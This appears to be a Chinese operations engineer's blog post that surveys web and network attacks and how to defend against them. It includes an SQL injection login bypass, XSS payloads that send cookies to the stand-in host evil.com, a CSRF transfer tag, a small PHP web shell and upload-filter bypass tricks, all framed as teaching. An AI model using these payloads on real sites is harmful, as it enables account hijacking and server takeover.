网络攻击套路大揭秘！这些年我见过的各种"妖魔鬼怪"

做运维这么多年，我算是见识过各种各样的网络攻击了。从最初的懵懵懂懂被攻击搞得焦头烂额，到现在能够淡定应对各种攻击手段，这中间踩过的坑真的是数不胜数。

前几天有个粉丝朋友问我，现在网络攻击都有哪些类型，怎么防护？我想了想，确实有必要系统地梳理一下这些年遇到过的各种攻击手段。毕竟知己知彼，才能百战不殆嘛。

今天就跟大家聊聊我这些年见过的各种网络攻击，从技术原理到防护方法，希望能帮到正在被攻击困扰的兄弟们。

SQL注入攻击 - 数据库的噩梦

说到网络攻击，SQL注入绝对是我遇到最多的一种。这玩意儿简直就是Web应用的头号杀手。

攻击原理

SQL注入的原理其实不复杂，就是利用应用程序对用户输入过滤不严，在数据库查询中插入恶意SQL代码。

我记得刚工作那会儿，维护过一个老系统，登录页面的代码是这样写的：

SELECT * FROM users WHERE username='$username' AND password='$password'

看起来没问题对吧？但如果用户在用户名框里输入：admin' OR '1'='1' --

那么实际执行的SQL就变成了：

SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password='xxx'

由于'1'='1'永远为真，而--会注释掉后面的密码验证，攻击者就能直接以admin身份登录了。

常见的注入类型

这些年我见过的SQL注入攻击大概有这几种：

联合查询注入：通过UNION语句获取其他表的数据。我处理过一个案例，攻击者通过这种方式把整个用户表都下载走了，包括密码哈希。

布尔盲注：通过构造真假条件来逐个猜测数据库内容。这种攻击比较隐蔽，日志里看起来都是正常请求，但实际上在一点点窃取数据。

时间盲注：利用数据库的延时函数，通过响应时间来判断条件真假。我见过攻击者用这种方法花了几个小时把管理员密码给猜出来的。

报错注入：故意触发数据库错误，从错误信息中获取敏感数据。有些开发为了调试方便，会把详细的错误信息显示给用户，这就给了攻击者可乘之机。

防护措施

防护SQL注入其实也不难，关键是要养成好习惯：

参数化查询：这是最有效的防护方法。使用预编译语句，把SQL代码和数据分离。现在主流的开发框架都支持这个功能。

输入验证：对所有用户输入进行严格验证，过滤掉危险字符。不过这个方法容易被绕过，不能作为唯一的防护手段。

最小权限原则：数据库用户只给必要的权限，不要用root或sa这种超级用户来连接数据库。

WAF防护：部署Web应用防火墙，可以识别和阻断大部分SQL注入攻击。

我现在维护的系统都强制使用ORM框架，基本杜绝了SQL注入的可能性。虽然性能会有一点影响，但安全性大大提升了。

XSS攻击 - 浏览器里的陷阱

跨站脚本攻击（XSS）是另一个让我头疼的问题，特别是在处理用户生成内容的网站时。

攻击原理

XSS攻击的核心是在网页中插入恶意脚本，当其他用户访问时，这些脚本就会在他们的浏览器中执行。

我印象最深的一次XSS攻击发生在一个论坛网站。攻击者在帖子里插入了这样的代码：

<script>
document.location='http://evil.com/steal.php?cookie='+document.cookie;
</script>

结果所有查看这个帖子的用户，他们的Cookie都被发送到了攻击者的服务器上。攻击者拿到Cookie后，就能冒充这些用户登录网站了。

XSS的分类

根据我的经验，XSS攻击主要分为三种：

反射型XSS：恶意脚本通过URL参数传递，服务器直接把参数内容输出到页面上。这种攻击需要诱骗用户点击特制的链接。

存储型XSS：恶意脚本被保存在服务器上（比如数据库），每次有用户访问相关页面时都会执行。这种危害最大，因为影响面广。

DOM型XSS：攻击发生在客户端，通过修改页面的DOM结构来执行恶意脚本。这种攻击比较隐蔽，服务器端很难检测到。

实际案例

我处理过一个比较典型的存储型XSS案例。那是一个电商网站的商品评论功能，攻击者在评论中插入了恶意脚本：

<img src="x" onerror="var img=new Image();img.src='http://evil.com/log.php?data='+btoa(document.cookie);">

这段代码看起来像是一个破损的图片，但实际上会执行JavaScript代码，把用户的Cookie编码后发送给攻击者。

更可怕的是，攻击者还在脚本中加入了蠕虫功能，被感染的用户会自动发布包含恶意脚本的评论，导致攻击快速传播。

防护策略

防护XSS攻击需要多管齐下：

输出编码：对所有输出到HTML页面的内容进行编码，把<、>、"等特殊字符转换成HTML实体。

输入过滤：对用户输入进行过滤，移除或转义危险的HTML标签和JavaScript代码。

CSP策略：配置内容安全策略（Content Security Policy），限制页面可以加载的资源来源。

HttpOnly Cookie：设置Cookie的HttpOnly属性，防止JavaScript访问Cookie。

我现在管理的网站都部署了严格的XSS防护策略，用户输入的任何内容都会经过多层过滤和编码。虽然偶尔会误杀一些正常内容，但总比被攻击强。

CSRF攻击 - 身份冒用的艺术

跨站请求伪造（CSRF）是一种比较隐蔽的攻击方式，很多开发者都容易忽视这个问题。

攻击机制

CSRF攻击利用用户已经登录的身份，诱骗用户在不知情的情况下执行某些操作。

我遇到过一个经典的CSRF攻击案例。攻击者制作了一个看似无害的网页，里面包含了这样的代码：

<img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">

当已经登录网银的用户访问这个页面时，浏览器会自动发送转账请求，而银行服务器看到的是一个"正常"的已认证用户发起的请求。

攻击场景

CSRF攻击在以下场景特别危险：

金融操作：转账、支付、修改密码等敏感操作 账户管理：修改个人信息、删除数据等 社交功能：发帖、评论、关注等操作

我见过最狠的一次CSRF攻击，攻击者通过邮件发送了一个"中奖通知"页面，里面暗藏了修改用户邮箱地址的请求。很多用户在不知情的情况下把邮箱改成了攻击者的，然后攻击者就能通过"忘记密码"功能重置用户密码了。

防护方法

防护CSRF攻击有几种有效方法：

CSRF Token：在表单中加入随机生成的token，服务器验证token的有效性。这是最常用也是最有效的方法。

验证Referer：检查请求的来源页面，拒绝来自外部网站的请求。不过这个方法不够可靠，因为Referer可能被伪造或者被代理服务器过滤掉。

双重Cookie验证：在Cookie和请求参数中都包含相同的随机值，服务器验证两者是否一致。

验证码：对于敏感操作，要求用户输入验证码。这个方法最安全，但用户体验不好。

我现在负责的系统对所有状态改变的操作都使用了CSRF Token保护，同时对转账、修改密码等高风险操作还加了短信验证码。

文件上传漏洞 - 服务器的后门

文件上传功能几乎每个网站都有，但如果处理不当，就可能成为攻击者的突破口。

攻击原理

文件上传漏洞的核心是攻击者上传恶意文件到服务器，然后通过访问这些文件来执行恶意代码。

我处理过一个典型的案例，网站有个头像上传功能，只是简单地检查了文件扩展名。攻击者上传了一个名为avatar.php的文件，内容是：

<?php
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>

然后通过访问http://website.com/uploads/avatar.php?cmd=ls就能执行系统命令了。更可怕的是，攻击者还能通过这个后门上传更多的恶意文件，完全控制服务器。

绕过技巧

攻击者为了绕过文件上传限制，会使用各种技巧：

双重扩展名：上传shell.php.jpg这样的文件，某些服务器配置下会按照.php来解析。

大小写绕过：上传shell.PHP或shell.Php，利用大小写不敏感的特性。

空字节截断：在文件名中插入空字节，如shell.php%00.jpg，某些语言会在空字节处截断文件名。

MIME类型伪造：修改HTTP请求中的Content-Type，让恶意文件看起来像图片。

文件内容伪造：在PHP代码前面加上GIF文件头，绕过文件内容检测。

防护措施

防护文件上传漏洞需要多层验证：

白名单验证：只允许特定类型的文件上传，比如只允许jpg、png、gif等图片格式。

文件内容检测：不仅检查扩展名，还要检查文件的实际内容和文件头。

重命名文件：上传后重新命名文件，使用随机生成的文件名，避免攻击者直接访问。

隔离执行：把上传的文件存储在无法执行脚本的目录中，或者使用独立的文件服务器。

大小限制：限制上传文件的大小，防止攻击者上传大文件消耗服务器资源。

我现在管理的系统对所有上传文件都会进行病毒扫描，同时使用云存储服务来隔离文件，基本杜绝了通过文件上传攻击服务器的可能性。

暴力破解攻击 - 最原始但有效的方法

虽然暴力破解听起来很原始，但在实际攻击中仍然非常常见和有效。

攻击方式

暴力破解主要有几种形式：

密码暴力破解：使用字典或者穷举法尝试各种密码组合。我见过攻击者用常见密码字典攻击SSH服务，成功率还挺高的。

验证码暴力破解：对于数字验证码，攻击者可能会尝试所有可能的组合。

API接口暴力破解：针对登录接口、重置密码接口等进行大量尝试。

实际案例

我印象最深的一次暴力破解攻击发生在一个企业内网。攻击者通过某种方式获得了内网访问权限，然后对所有服务器的SSH端口进行暴力破解。

那次攻击持续了好几天，攻击者使用了一个包含几万个常见密码的字典，对每台服务器都尝试了admin、root、test等常见用户名。最终成功破解了几台使用弱密码的服务器。

更可怕的是，攻击者还会根据企业信息定制密码字典，比如使用公司名称、员工姓名、重要日期等作为密码尝试。这种针对性的攻击成功率往往更高。

我还遇到过一种比较狡猾的暴力破解方式，攻击者会先收集目标网站的用户名列表，然后使用分布式的方式进行攻击。每个IP只尝试少量密码，避免触发账户锁定机制，但整体攻击规模很大。

防护策略

防护暴力破解有很多成熟的方法：

账户锁定策略：连续失败几次后锁定账户一段时间。不过要注意设置合理的锁定时间，避免被攻击者利用来进行拒绝服务攻击。

验证码机制：在登录页面加入图形验证码或者滑动验证码，增加自动化攻击的成本。

IP限制：限制单个IP的登录尝试频率，超过阈值就临时封禁。我一般设置为每分钟最多5次尝试。

强密码策略：强制用户使用复杂密码，包含大小写字母、数字和特殊字符。

双因素认证：即使密码被破解，攻击者也需要第二个认证因子才能登录。

我现在管理的所有系统都部署了fail2ban，会自动分析日志文件，发现暴力破解行为就立即封禁攻击IP。效果还不错，基本上能阻止90%以上的暴力破解攻击。

钓鱼攻击 - 社会工程学的经典应用

钓鱼攻击虽然技术含量不高，但在实际攻击中的成功率却很高，因为它直接针对人性的弱点。

攻击手法

钓鱼攻击的形式多种多样：

邮件钓鱼：伪造银行、电商平台等官方邮件，诱导用户点击恶意链接。

短信钓鱼：通过短信发送虚假中奖、账户异常等信息。

网站钓鱼：制作高仿真的假网站，骗取用户账号密码。

社交媒体钓鱼：在微信、QQ等平台上冒充熟人进行诈骗。

真实案例

我处理过一个比较典型的钓鱼攻击事件。攻击者注册了一个和某知名银行非常相似的域名，比如把icbc.com.cn改成icbc-online.com，然后完全仿制了银行的官方网站。

攻击者通过邮件群发"安全升级通知"，声称用户需要重新验证身份信息，否则账户会被冻结。邮件制作得非常精美，包含了银行的logo、官方语调，甚至连邮件签名都一模一样。

很多用户没有仔细看域名就点击了链接，在假网站上输入了银行卡号、密码、手机验证码等信息。更狡猾的是，假网站在收集完信息后还会跳转到真正的银行网站，让用户以为只是网络延迟，不会产生怀疑。

我还见过针对企业的定向钓鱼攻击。攻击者会先收集企业员工的邮箱地址和社交信息，然后冒充CEO或者HR发送邮件，要求员工提供某些敏感信息或者点击恶意链接。这种攻击的成功率特别高，因为员工很难怀疑"领导"的邮件。

识别技巧

识别钓鱼攻击有几个关键点：

仔细检查域名：正规网站的域名都是固定的，要注意拼写错误或者多余字符。

查看SSL证书：点击浏览器地址栏的锁图标，查看证书信息。

验证发送者身份：对于可疑邮件，可以通过其他渠道联系发送方确认。

不要点击邮件中的链接：对于敏感操作，最好直接在浏览器中输入官方网址。

防护建议

防护钓鱼攻击主要靠提高安全意识：

员工培训：定期进行安全意识培训，让大家了解钓鱼攻击的常见套路。

邮件安全网关：部署邮件过滤系统，自动识别和拦截钓鱼邮件。

DNS防护：使用安全DNS服务，阻止访问已知的钓鱼网站。

多因素认证：即使密码被盗，攻击者也难以完成登录。

我们公司现在每个季度都会进行钓鱼攻击演练，给员工发送模拟的钓鱼邮件，测试大家的安全意识。刚开始点击率有30%多，现在已经降到5%以下了。

中间人攻击 - 通信链路上的窃听者

中间人攻击（MITM）是一种比较高级的攻击手法，攻击者悄悄插入到通信双方之间，窃听甚至篡改通信内容。

攻击原理

中间人攻击的核心是让攻击者成为通信链路中的一环：

ARP欺骗：在局域网中伪造ARP响应，让数据包经过攻击者的机器。

DNS劫持：篡改DNS响应，让用户访问攻击者控制的服务器。

恶意WiFi热点：搭建假的WiFi热点，诱导用户连接。

SSL剥离：强制用户使用HTTP连接，去除加密保护。

实际案例

我遇到过一个在咖啡厅发生的中间人攻击。攻击者搭建了一个名为"Free_WiFi"的热点，信号很强，很多顾客都连接了这个网络。

攻击者在这个网络中部署了中间人攻击工具，能够看到所有用户的网络流量。对于使用HTTP的网站，攻击者甚至能看到用户输入的账号密码。更可怕的是，攻击者还会在用户访问的网页中注入广告或者恶意脚本。

我还处理过一个企业内网的ARP欺骗案例。攻击者首先通过钓鱼邮件感染了一台内网机器，然后利用这台机器对整个网段进行ARP欺骗，窃听其他机器的网络通信。通过这种方式，攻击者获得了大量内部邮件和文档。

防护措施

防护中间人攻击需要从多个层面入手：

使用HTTPS：确保敏感通信都使用SSL/TLS加密，即使被窃听也无法解密内容。

证书验证：不要忽略浏览器的证书警告，遇到证书异常要格外小心。

VPN保护：在不可信网络中使用VPN，为通信增加一层加密保护。

网络监控：部署网络监控工具，及时发现ARP欺骗等异常行为。

静态ARP绑定：在关键服务器上配置静态ARP表，防止ARP欺骗。

我现在出差时从来不连接公共WiFi进行敏感操作，都是用手机热点或者公司VPN。虽然流量费贵一点，但安全性大大提升了。

内网渗透 - 从外到内的攻击链

内网渗透是APT攻击的典型手法，攻击者通过各种方式获得内网立足点后，逐步扩大攻击范围。

攻击流程

典型的内网渗透包括几个阶段：

初始入侵：通过钓鱼邮件、漏洞利用等方式获得第一个立足点。

信息收集：扫描内网结构，收集用户信息、系统配置等。

权限提升：利用系统漏洞或配置错误获得更高权限。

横向移动：在内网中寻找其他可攻击目标，扩大控制范围。

持久化：建立多个持久访问通道，确保不被轻易清除。

目标达成：窃取敏感数据或进行其他恶意活动。

常用技术

内网渗透中经常用到的技术：

凭据窃取：从内存、注册表、浏览器等位置窃取用户凭据。

Pass-the-Hash：使用窃取的密码哈希直接进行身份认证。

Kerberos攻击：利用域认证协议的设计缺陷，比如黄金票据攻击。

WMI滥用：使用Windows管理工具进行远程命令执行。

PowerShell攻击：利用系统自带工具进行无文件攻击，难以被检测。

云安全威胁 - 新环境的挑战

云计算普及带来便利，也带来了新的安全挑战。

主要威胁

云环境面临的威胁包括：

配置错误：云服务配置不当导致数据泄露，这是最常见的问题。

身份管理：云环境下的认证和权限管理更复杂。

数据泄露：云存储中的敏感数据可能被未授权访问。

API安全：云服务API的漏洞可能被利用。

供应链风险：云服务商的问题可能影响所有用户。

我见过很多因为云存储配置错误导致的数据泄露，比如把AWS S3设置为公开访问，结果用户信息全部泄露。

防护策略

云安全防护需要：

正确配置：仔细配置云服务安全设置。

访问控制：实施严格的身份认证和权限控制。

数据加密：对云端敏感数据进行加密。

持续监控：实时监控云环境安全状态。

合规管理：确保符合相关法规要求。

最后

网络安全是一个持续对抗的过程，攻击手段在不断演进，防护技术也要跟上节奏。作为运维人员，我们需要保持学习的心态，及时了解新的威胁和防护方法。

最重要的是要建立安全意识，很多攻击其实都是可以预防的，关键在于是否重视和是否采取了正确的防护措施。希望这篇文章能帮助大家更好地了解网络攻击，做好安全防护工作。

网络安全没有银弹，需要我们持续投入和改进。只有这样，才能在这个充满威胁的数字世界中保护好我们的系统和数据。